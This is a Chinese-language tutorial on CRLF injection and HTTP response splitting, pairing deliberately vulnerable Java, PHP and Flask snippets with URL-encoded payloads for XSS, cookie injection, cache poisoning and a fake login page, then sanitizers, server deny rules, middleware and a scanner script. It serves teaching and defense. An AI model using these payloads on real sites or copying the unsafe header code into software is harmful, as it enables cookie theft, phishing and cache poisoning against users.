CRLF注入攻击详解

一、什么是CRLF注入?

CRLF 代表回车(Carriage Return,\r)换行(Line Feed,\n),是文本文件中用于表示行结束的字符序列。

CRLF注入(或HTTP响应拆分)是一种攻击技术,攻击者通过向HTTP头中注入CRLF字符序列,来操纵HTTP响应或执行其他恶意操作。

二、CRLF基础知识

1. 字符编码

text

复制代码
CR (回车) = \r = 0x0D = %0D
LF (换行) = \n = 0x0A = %0A
CRLF = \r\n = %0D%0A

2. HTTP协议中的使用

http

复制代码
# HTTP请求示例
GET /index.html HTTP/1.1\r\n      # 请求行
Host: example.com\r\n              # 请求头
User-Agent: Mozilla\r\n
\r\n                               # 空行表示头部结束
# 请求体(如果有)

# HTTP响应示例
HTTP/1.1 200 OK\r\n                # 状态行
Content-Type: text/html\r\n        # 响应头
Content-Length: 123\r\n
\r\n                               # 空行表示头部结束
<html>...</html>                   # 响应体

三、攻击原理

1. 基本原理

当应用程序直接将用户输入插入到HTTP响应头中,且未过滤CRLF字符时,攻击者可以:

  • 注入额外的HTTP头

  • 拆分响应,创建多个响应

  • 注入响应体内容

2. 攻击流程图

text

复制代码
用户输入 → 未经处理的输入 → 插入HTTP头 → 响应被操纵
         ↓
     注入CRLF → 创建新行 → 控制响应内容

四、攻击类型和示例

1. HTTP响应拆分(Response Splitting)

漏洞代码:

java

复制代码
// Java示例 - 不安全的重定向
String location = request.getParameter("redirect");
response.sendRedirect(location);  // 直接使用用户输入

攻击载荷:

text

复制代码
# 攻击者输入
http://evil.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script>

# URL解码后
http://evil.com\r\n
Content-Length: 0\r\n
\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
<script>alert('XSS')</script>

生成的响应:

http

复制代码
HTTP/1.1 302 Found
Location: http://evil.com
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert('XSS')</script>

2. Set-Cookie注入

漏洞代码:

php

复制代码
// PHP示例 - 不安全的Cookie设置
$theme = $_GET['theme'];
setcookie("user_theme", $theme);  // 直接使用用户输入

攻击载荷:

text

复制代码
# 攻击者输入
dark%0d%0aSet-Cookie:%20sessionid=hacked

# 响应头变为
Set-Cookie: user_theme=dark
Set-Cookie: sessionid=hacked

3. XSS via CRLF(最危险)

漏洞代码:

python

复制代码
# Python Flask示例 - 不安全的头设置
from flask import Flask, Response
app = Flask(__name__)

@app.route('/header')
def set_header():
    header_value = request.args.get('value', '')
    response = Response("Hello")
    response.headers['X-Custom-Header'] = header_value  # 直接使用
    return response

攻击载荷:

text

复制代码
# 注入XSS
value=test%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>

# 响应变为
HTTP/1.1 200 OK
X-Custom-Header: test
Content-Type: text/html

<script>alert(document.domain)</script>

4. 缓存投毒(Cache Poisoning)

攻击示例:

text

复制代码
# 注入缓存控制头
http://example.com/page?lang=en%0d%0aCache-Control:%20max-age=31536000

# 响应头
HTTP/1.1 200 OK
Content-Language: en
Cache-Control: max-age=31536000
...

五、实际攻击场景

场景1:登录重定向漏洞

应用程序代码:

php

复制代码
// 登录后的重定向
$redirect = $_GET['return'];
header("Location: " . $redirect);

攻击:

http

复制代码
GET /login.php?return=/dashboard%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<h1>Fake%20Login</h1><form>...

# 用户看到的响应
HTTP/1.1 302 Found
Location: /dashboard
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<h1>Fake Login</h1><form>...

场景2:文件下载漏洞

漏洞代码:

java

复制代码
// 文件下载功能
String filename = request.getParameter("file");
response.setHeader("Content-Disposition", 
                  "attachment; filename=\"" + filename + "\"");

攻击载荷:

text

复制代码
file=report.pdf%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>stealCookies()</script>

# 响应头
Content-Disposition: attachment; filename="report.pdf"
Content-Type: text/html

<script>stealCookies()</script>

六、高级攻击技术

1. HTTP请求走私结合CRLF

http

复制代码
POST /api HTTP/1.1
Host: target.com
Content-Length: 56
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Injected: true%0d%0aX-Forwarded-For:%20127.0.0.1

2. Web缓存欺骗

http

复制代码
GET /profile?theme=dark%0d%0aCache-Control:%20public%0d%0aVary:%20User-Agent HTTP/1.1
Host: example.com
User-Agent: Mozilla

# 缓存服务器可能缓存带有用户特定数据的响应

3. 响应队列污染

python

复制代码
# 攻击者发送多个请求,每个都包含CRLF注入
请求1: /?inject=%0d%0aHeader1:%20value
请求2: /?inject=%0d%0aHeader2:%20value
请求3: /?inject=%0d%0aXSS:%20<script>...

七、防御措施

1. 输入验证和过滤

python

复制代码
# Python示例 - 过滤CRLF字符
def sanitize_header_value(value):
    """清理HTTP头值"""
    if not value:
        return value
    
    # 移除CRLF字符
    value = value.replace('\r', '').replace('\n', '')
    
    # 移除编码的CRLF
    value = value.replace('%0d', '').replace('%0a', '')
    value = value.replace('%0D', '').replace('%0A', '')
    
    # 限制长度
    if len(value) > 1024:
        raise ValueError("Header value too long")
    
    return value

# Flask安全示例
from flask import escape

@app.route('/safe-header')
def safe_header():
    header_value = request.args.get('value', '')
    
    # 使用安全函数
    safe_value = sanitize_header_value(header_value)
    
    response = Response("OK")
    response.headers['X-Custom'] = safe_value
    return response

2. 使用安全的API

java

复制代码
// Java示例 - 使用安全的方法
// 不安全的
response.sendRedirect(request.getParameter("url"));

// 安全的 - 验证URL
public static String validateRedirectUrl(String url) {
    // 白名单验证
    List<String> allowedDomains = Arrays.asList("example.com", "trusted.com");
    
    try {
        URI uri = new URI(url);
        String host = uri.getHost();
        
        if (host != null && allowedDomains.contains(host)) {
            return url;
        }
    } catch (URISyntaxException e) {
        // 记录日志
    }
    
    // 默认重定向
    return "/dashboard";
}

3. 编码输出

php

复制代码
// PHP示例 - 安全设置Cookie
$theme = $_GET['theme'];

// 移除换行符
$theme = str_replace(array("\r", "\n"), '', $theme);

// 使用htmlspecialchars防止XSS
$safe_theme = htmlspecialchars($theme, ENT_QUOTES, 'UTF-8');

setcookie("theme", $safe_theme, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

4. Web服务器配置

nginx

复制代码
# Nginx配置 - 防止CRLF注入
server {
    location / {
        # 拒绝包含CRLF的请求
        if ($request_uri ~* "%0a|%0d") {
            return 403;
        }
        
        # 限制头大小
        client_header_buffer_size 1k;
        large_client_header_buffers 4 8k;
        
        # 添加安全头
        add_header X-Content-Type-Options nosniff;
        add_header X-Frame-Options DENY;
        add_header X-XSS-Protection "1; mode=block";
    }
}

apache

复制代码
# Apache .htaccess配置
<IfModule mod_headers.c>
    # 过滤CRLF
    SetEnvIfNoCase Request_URI "%0a" crlf_injection
    SetEnvIfNoCase Request_URI "%0d" crlf_injection
    
    # 拒绝请求
    Deny from env=crlf_injection
    
    # 安全头
    Header always set X-Content-Type-Options nosniff
    Header always set X-Frame-Options DENY
</IfModule>

5. 应用程序框架防护

python

复制代码
# Django中间件示例
class CRLFProtectionMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
    
    def __call__(self, request):
        # 检查GET参数
        for key, value in request.GET.items():
            if '\r' in value or '\n' in value:
                return HttpResponseForbidden("Invalid input")
        
        # 检查POST参数
        for key, value in request.POST.items():
            if '\r' in value or '\n' in value:
                return HttpResponseForbidden("Invalid input")
        
        response = self.get_response(request)
        
        # 确保响应头安全
        for header, value in response.items():
            if '\r' in value or '\n' in value:
                del response[header]
                response[header] = value.replace('\r', '').replace('\n', '')
        
        return response

# 在settings.py中添加
MIDDLEWARE = [
    'path.to.CRLFProtectionMiddleware',
    # ... 其他中间件
]

八、检测和测试

1. 手动测试

bash

复制代码
# 使用curl测试
curl -v "http://target.com/page?param=test%0d%0aInjected-Header:%20value"

# 使用telnet手动发送
telnet target.com 80
GET /?param=test%0d%0aHeader:%20injected HTTP/1.1
Host: target.com

# 查看响应头是否包含注入的内容

2. 自动化测试脚本

python

复制代码
import requests
from urllib.parse import quote

def test_crlf_injection(url):
    """测试CRLF注入漏洞"""
    
    test_cases = [
        # 基本CRLF测试
        "%0d%0aInjected-Header: test",
        "%0aInjected-Header: test",
        "%0dInjected-Header: test",
        
        # 响应拆分测试
        "%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>",
        
        # XSS via CRLF
        "%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>",
        
        # Cookie注入
        "%0d%0aSet-Cookie: malicious=true",
    ]
    
    vulnerable = False
    
    for payload in test_cases:
        # 测试URL参数
        test_url = f"{url}?input={quote(payload)}"
        
        try:
            response = requests.get(test_url, timeout=5)
            
            # 检查响应头
            for header, value in response.headers.items():
                if "Injected-Header" in header or "malicious" in value:
                    print(f"[!] CRLF注入发现于头: {header}")
                    vulnerable = True
            
            # 检查响应体
            if "<script>alert" in response.text:
                print(f"[!] XSS via CRLF发现")
                vulnerable = True
                
        except Exception as e:
            print(f"[?] 测试 {payload} 时出错: {e}")
    
    return vulnerable

# 测试多个端点
endpoints = [
    "/login?redirect=",
    "/download?filename=",
    "/api/set-header?value=",
    "/profile?theme="
]

3. Burp Suite测试

http

复制代码
# 使用Burp Intruder测试
GET /redirect?url=§payload§ HTTP/1.1
Host: target.com

# Payloads列表
§%0d%0aInjected: header§
§%0d%0a%0d%0aHTTP/1.1 200 OK§
§%0d%0aSet-Cookie: malicious=1§
§%0d%0aLocation: javascript:alert(1)§

九、真实案例分析

案例1:GitLab CRLF注入漏洞(CVE-2020-10960)

漏洞描述: GitLab的Web IDE功能中存在CRLF注入,允许攻击者执行XSS。

漏洞代码:

javascript

复制代码
// 简化版本
const branchName = userInput;  // 用户控制的输入
const url = `/project/-/ide/commit/${branchName}`;
window.location = url;

攻击: 攻击者创建包含CRLF的分支名,导致XSS执行。

案例2:Twitter CRLF漏洞

影响: 允许攻击者在Twitter图像URL中注入头部,可能用于缓存投毒。

Payload:

text

复制代码
https://pbs.twimg.com/media/IMAGE.jpg%0d%0aX-Forwarded-Host: evil.com

十、最佳实践总结

开发人员:

  1. 永远不要信任用户输入

  2. 使用框架的安全函数设置HTTP头

  3. 验证和过滤所有用户提供的头值

  4. 使用白名单验证重定向URL

运维人员:

  1. 配置WAF检测CRLF注入

  2. 定期更新Web服务器和应用程序

  3. 实施监控检测异常请求

测试人员:

  1. 自动化扫描CRLF漏洞

  2. 手动验证关键功能点

  3. 报告发现的漏洞并跟踪修复

十一、工具推荐

  1. OWASP ZAP - 自动CRLF注入扫描

  2. Burp Suite - 手动和自动测试

  3. CRLFuzz - 专门的CRLF注入工具

  4. ffuf - 模糊测试工具,可用于CRLF测试

bash

复制代码
# 使用CRLFuzz
crlfuzz -u "http://target.com/page?param=FUZZ" -o results.txt

# 使用ffuf
ffuf -u "http://target.com/page?param=FUZZ" \
     -w crlf-payloads.txt \
     -H "User-Agent: Mozilla" \
     -mc all

通过理解CRLF注入的原理、攻击方式和防御措施,开发人员和测试人员可以更好地保护Web应用程序免受此类攻击。

相关推荐
见青..10 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道11 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你15 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp0000015 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你17 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000002 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全